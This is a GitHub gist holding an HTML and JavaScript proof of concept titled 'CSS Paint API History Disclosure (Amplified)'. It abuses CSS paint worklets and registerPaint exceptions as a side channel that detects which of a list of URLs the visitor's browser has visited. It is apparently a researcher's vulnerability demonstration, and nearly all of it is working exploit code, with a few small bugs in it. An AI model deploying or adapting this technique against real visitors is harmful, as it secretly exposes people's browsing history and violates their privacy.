-
-
Save spinda/555d350ed6a89815358f617a63aa7873 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="en-US"> | |
<head> | |
<meta charset="utf-8"/> | |
<style> | |
body { | |
margin: 40pxf; | |
} | |
a, button { | |
cursor: pointer; | |
} | |
a.helper { | |
border: 1px black solid; | |
background-image: paint(attack); | |
display: block; | |
margin: 0.5em; | |
width: 2px; | |
height: 2px; | |
text-decoration: none; | |
} | |
a.helper:visited { | |
outline-color: yellow; | |
} | |
a.helper, .probeWrapper, .probe, .probe::after { | |
cursor: default; | |
pointer-events: none; | |
user-select: none; | |
} | |
.probeWrapper { | |
position: absolute; | |
top: 0; | |
left: 0; | |
} | |
.probe { | |
display: inline; | |
} | |
</style> | |
</head> | |
<body> | |
<h1>CSS Paint API History Disclosure (Amplified)</h1> | |
<p>Enter a list of URLs to scan for visited status, one per line:</p> | |
<p><textarea id="urlsInput" rows="8" cols="60" autofocus>https://www.google.com | |
https://www.facebook.com | |
https://www.reddit.com/r/chrome | |
https://www.amazon.com | |
https://www.ucsd.edu | |
https://www.spinda.net</textarea></p> | |
<div id="gridDisplay"> | |
<div id="helpersContainer" style="position: relative; border: 2px white solid"> | |
</div> | |
<p id="startWrapper"><button id="startButton">Start</button></p> | |
</div> | |
<p id="statusOutput"></p> | |
<p id="resultsHeader"></p> | |
<ul id="resultsList"></ul> | |
<p id="retryWrapper" style="display: none"> | |
<button id="retryButton">Run Again</button> | |
</p> | |
<script> | |
(function () { | |
// Utility function to register a paintlet script from JS source, using | |
// data: URIs. | |
function addPaintletFromSource (src, cb) { | |
var uri = | |
'data:application/javascript;charset=utf-8;base64,' + btoa(src); | |
CSS.paintWorklet.addModule(uri).then(cb); | |
} | |
// Register our `attack` painter. | |
addPaintletFromSource(` | |
class AttackPainter { | |
static get inputProperties () { | |
// Use the CSS font-family property as a communication channel from the main | |
// script. | |
return ['font-family']; | |
} | |
paint (ctx, geom, properties) { | |
// Retrieve the key corresponding to the target URL. | |
var targetKey = properties.get('font-family').toString(); | |
// Abuse registerPaint to perform a 1-bit swap operation in persistent state. | |
try { | |
// If the painter has *not* been previously executed for the given key, | |
// this will set the bit for that key. | |
registerPaint(targetKey, AttackPainter); | |
} catch (e) { | |
// Otherwise, a painter-already-registered exception will be thrown, telling is | |
// the bit has already been set to 1. | |
try { | |
// Set another bit in persistent state marking the fact that the painter was | |
// executed more than once for the given key. This will be observable from the | |
// main script. | |
registerPaint(targetKey + '_visited', AttackPainter); | |
} catch (e2) {} | |
} | |
} | |
} | |
registerPaint('attack', AttackPainter); | |
`); | |
var urlsInput = document.getElementById('urlsInput'); | |
var gridDisplay = document.getElementById('gridDisplay'); | |
var helpersContainer = document.getElementById('helpersContainer'); | |
var startWrapper = document.getElementById('startWrapper'); | |
var startButton = document.getElementById('startButton'); | |
var statusOutput = document.getElementById('statusOutput'); | |
var resultsHeader = document.getElementById('resultsHeader'); | |
var resultsList = document.getElementById('resultsList'); | |
var retryWrapper = document.getElementById('retryWrapper'); | |
var retryButton = document.getElementById('retryButton'); | |
function registerPaintersToKey (start, end, cb) { | |
addPaintletFromSource( | |
'class P{paint(){}}' + | |
'var start=' + start + ';' + | |
'var end=' + end + ';' + | |
'for(var i=start;i<end;++i){' + | |
'try{registerPaint("target_"+i,P)}catch(e){console.error(e)}' + | |
'}' | |
, cb); | |
} | |
// Utility function to randomly generate a known-unvisited URL. | |
function generateUnvisitedURL () { | |
return 'https://' + Date.now() + '/' + Math.random(); | |
} | |
var targetURLs; | |
var nextTargetIndex = 0; | |
var startTimestamp; | |
// Set up a 128x32 grid of helper links, so we can scan for visited status | |
// concurrently. | |
var gridWidth = 256; | |
var gridHeight = 32; | |
helpersContainer.style.width = (gridWidth * 5 + 15) + 'px'; | |
helpersContainer.style.height = (gridHeight * 5 + 15) + 'px'; | |
var helperLinks = []; | |
for (var x = 0; x < gridWidth; ++x) { | |
for (var y = 0; y < gridHeight; ++y) { | |
var helperLink = document.createElement('a'); | |
helperLink.className = 'helper'; | |
// Make the helper link point to a known-unvisited URL initially. | |
helperLink.href = generateUnvisitedURL(); | |
// `fontFamily` is used to communicate the target key string to the | |
// paintlet script; here we want it to be something unique that | |
// won't get in the way. | |
helperLink.style.fontFamily = 'x' + x + 'y' + y; | |
helperLink.style.position = 'absolute'; | |
helperLink.style.top = (y * 5) + 'px'; | |
helperLink.style.left = (x * 5) + 'px'; | |
// Set the helper link's content to a non-breaking space so it will | |
// be visible. | |
helperLink.appendChild(document.createTextNode('\u00a0')); | |
helpersContainer.appendChild(helperLink); | |
helperLinks.push(helperLink); | |
} | |
} | |
startButton.addEventListener('click', function () { | |
startWrapper.remove(); | |
urlsInput.disabled = true; | |
statusOutput.innerHTML = 'Scanning...'; | |
setTimeout(function () { | |
// Parse out the list of target URLs to scan. | |
targetURLs = urlsInput.value | |
.split('\n') | |
.map(function (line) { | |
return line.trim(); | |
}) | |
.filter(function (line) { | |
return line.length > 0; | |
}); | |
targetURLs = targetURLs.slice(0, 10); | |
startTimestamp = performance.now(); | |
scanBatch(); | |
}, 250); | |
}); | |
var scannedTargetURLs = 0; | |
// Utility function to generate a stats-report string during scanning. | |
function computeScanStats () { | |
var elapsedTime = performance.now() - startTimestamp; | |
var rate = scannedTargetURLs / (elapsedTime / 1000.0); | |
return rate + ' / sec (' + elapsedTime + ' ms)'; | |
} | |
function scanBatch () { | |
var start = scannedTargetURLs; | |
var end = Math.min(targetURLs.length, scannedTargetURLs + helperLinks.length); | |
if (start >= targetURLs.length) { | |
var elapsedTime = performance.now() - startTimestamp; | |
statusOutput.innerHTML = computeScanStats(scannedTargetURLs); | |
gridDisplay.remove(); | |
collectResults(); | |
return; | |
} | |
for (var i = 0; i < helperLinks.length; ++i) { | |
var targetIndex = i + start; | |
if (targetIndex >= end) { | |
break; | |
} | |
var helperLink = helperLinks[i]; | |
var targetKey = 'target_' + targetIndex; | |
var controlURL = generateUnvisitedURL(); | |
helperLink.style.fontFamily = targetKey; | |
helperLink.href = controlURL; | |
} | |
requestAnimationFrame(function () { | |
registerPaintersToKey(start, end, function () { | |
for (var i = 0; i < helperLinks.length; ++i) { | |
var targetIndex = i + start; | |
if (targetIndex >= end) { | |
break; | |
} | |
var helperLink = helperLinks[i]; | |
var targetKey = 'target_' + targetIndex; | |
var targetURL = targetURLs[targetIndex]; | |
helperLink.href = targetURL; | |
} | |
requestAnimationFrame(function () { | |
requestAnimationFrame(function () { | |
scannedTargetURLs = end; | |
var percentComplete = Math.floor( | |
scannedTargetURLs / targetURLs.length * 100 | |
); | |
statusOutput.innerHTML = | |
'Scanning... ' + | |
scannedTargetURLs + ' (' + percentComplete + | |
'%) @ ' + computeScanStats(); | |
scanBatch(); | |
}); | |
}); | |
}); | |
}); | |
} | |
var activeHelperLinks = helperLinks.length; | |
function handleNextTargetURL (helperLink) { | |
// If we've scanned all target URLs, move to the result-collection stage | |
// of the process. | |
if (nextTargetIndex >= targetURLs.length) { | |
// Wait for any pending concurrent scans to complete first. | |
if (--activeHelperLinks > 0) { | |
return; | |
} | |
} | |
var targetIndex = nextTargetIndex++; | |
var targetKey = 'target_' + targetIndex; | |
var controlURL = generateUnvisitedURL(); | |
var targetURL = targetURLs[targetIndex]; | |
// We use `fontFamily` to tell the paintlet script to which keys it | |
// should register painters for storing scan result bits (see | |
// the `attack` painter source). | |
helperLink.style.fontFamily = targetKey; | |
// Point the helper link to the control URL initially. | |
helperLink.href = controlURL; | |
requestAnimationFrame(function () { | |
// Ensure the bit corresponding to the target key in the global | |
// persistent state gets set. | |
registerPainterToKey(targetKey, function () { | |
// Now point the helper link to the experiment URL. If visited, | |
// the paintlet will be invoked an extra time. It will see that | |
// the bit at the target key has already been set, and set | |
// another bit marking the target as visited which we can | |
// retrieve later in the collection stage. | |
helperLink.href = targetURL; | |
requestAnimationFrame(function () { | |
// Finally, point the helper link back to the control URL. | |
helperLink.href = controlURL; | |
requestAnimationFrame(function () { | |
// Update the status display at even increments. | |
++scannedTargetURLs; | |
if (scannedTargetURLs % 1000 === 0) { | |
var percentComplete = Math.floor( | |
scannedTargetURLs / targetURLs.length * 100 | |
); | |
statusOutput.innerHTML = | |
'Scanning... ' + | |
scannedTargetURLs + ' (' + percentComplete + | |
'%) @ ' + computeScanStats(); | |
} | |
// Grab the next unprocessed target URL and scan it with | |
// our helper link. | |
handleNextTargetURL(helperLink); | |
}); | |
}); | |
}); | |
}); | |
} | |
// Advance to the result-collection part of the process. | |
function collectResults() { | |
resultsHeader.innerHTML = 'Collecting scan results...'; | |
requestAnimationFrame(function () { | |
var totalPositiveResults = 0; | |
sweepAll(targetURLs.length, | |
function (scannedCount, positiveResults) { | |
resultsHeader.innerHTML = | |
'Collecting scan results... ' + | |
Math.floor(scannedCount / targetURLs.length * 100) + '%'; | |
for (var i = 0; i < positiveResults.length; ++i) { | |
var targetURL = targetURLs[positiveResults[i]]; | |
var resultLink = document.createElement('a'); | |
resultLink.href = targetURL; | |
resultLink.appendChild(document.createTextNode(targetURL)); | |
var resultDom = document.createElement('li'); | |
resultDom.appendChild(resultLink); | |
resultsList.appendChild(resultDom); | |
} | |
totalPositiveResults += positiveResults.length; | |
}, | |
function () { | |
resultsHeader.innerHTML = | |
totalPositiveResults > 0 | |
? 'Visited URLs:' | |
: 'None of the given URLs were detected as visited.'; | |
retryButton.addEventListener('click', function () { | |
location.reload(); | |
}); | |
retryWrapper.style.removeProperty('display'); | |
} | |
); | |
}); | |
} | |
function sweepAll (count, progressCb, completeCb) { | |
function step (start) { | |
if (start >= count) { | |
completeCb(); | |
return; | |
} | |
var stop = start + 1000; | |
if (stop > count) { | |
stop = count; | |
} | |
sweepBatch(start, stop, function (positiveResults) { | |
progressCb(stop, positiveResults); | |
step(stop); | |
}); | |
} | |
step(0); | |
} | |
function sweepBatch (start, stop, cb) { | |
var container = document.createElement('div'); | |
var css = ''; | |
function createWrappedProbe (key) { | |
var probe = document.createElement('div'); | |
probe.className = `probe probe-${key}`; | |
probe.appendChild(document.createTextNode('\xa0')); | |
var wrapper = document.createElement('div'); | |
wrapper.className = 'probeWrapper'; | |
wrapper.appendChild(probe); | |
container.appendChild(wrapper); | |
css += `.probe-${key}::after { content: paint(${key}); }\n`; | |
return wrapper; | |
} | |
var control = createWrappedProbe('control'); | |
var detectors = []; | |
for (var i = start; i < stop; ++i) { | |
detectors.push(createWrappedProbe(`probe_${i}`)); | |
} | |
var style = document.createElement('style'); | |
style.type = 'text/css'; | |
style.innerHTML = css; | |
document.head.appendChild(style); | |
document.body.appendChild(container); | |
addPaintletFromSource(` | |
class PlaceholderPainter { | |
paint (context, geometry, properties) { | |
} | |
} | |
for (var i = ${start}; i < ${stop}; ++i) { | |
try { | |
registerPaint('target_' + i + '_visited', PlaceholderPainter); | |
} catch (e) { | |
registerPaint('probe_' + i, PlaceholderPainter); | |
} | |
} | |
`, function () { | |
var baseWidth = control.clientWidth; | |
var positiveResults = []; | |
for (var i = 0; i < detectors.length; ++i) { | |
var detector = detectors[i]; | |
if (detector.clientWidth > baseWidth) { | |
positiveResults.push(start + i); | |
} | |
} | |
container.remove(); | |
style.remove(); | |
cb(positiveResults); | |
}); | |
} | |
})(); | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment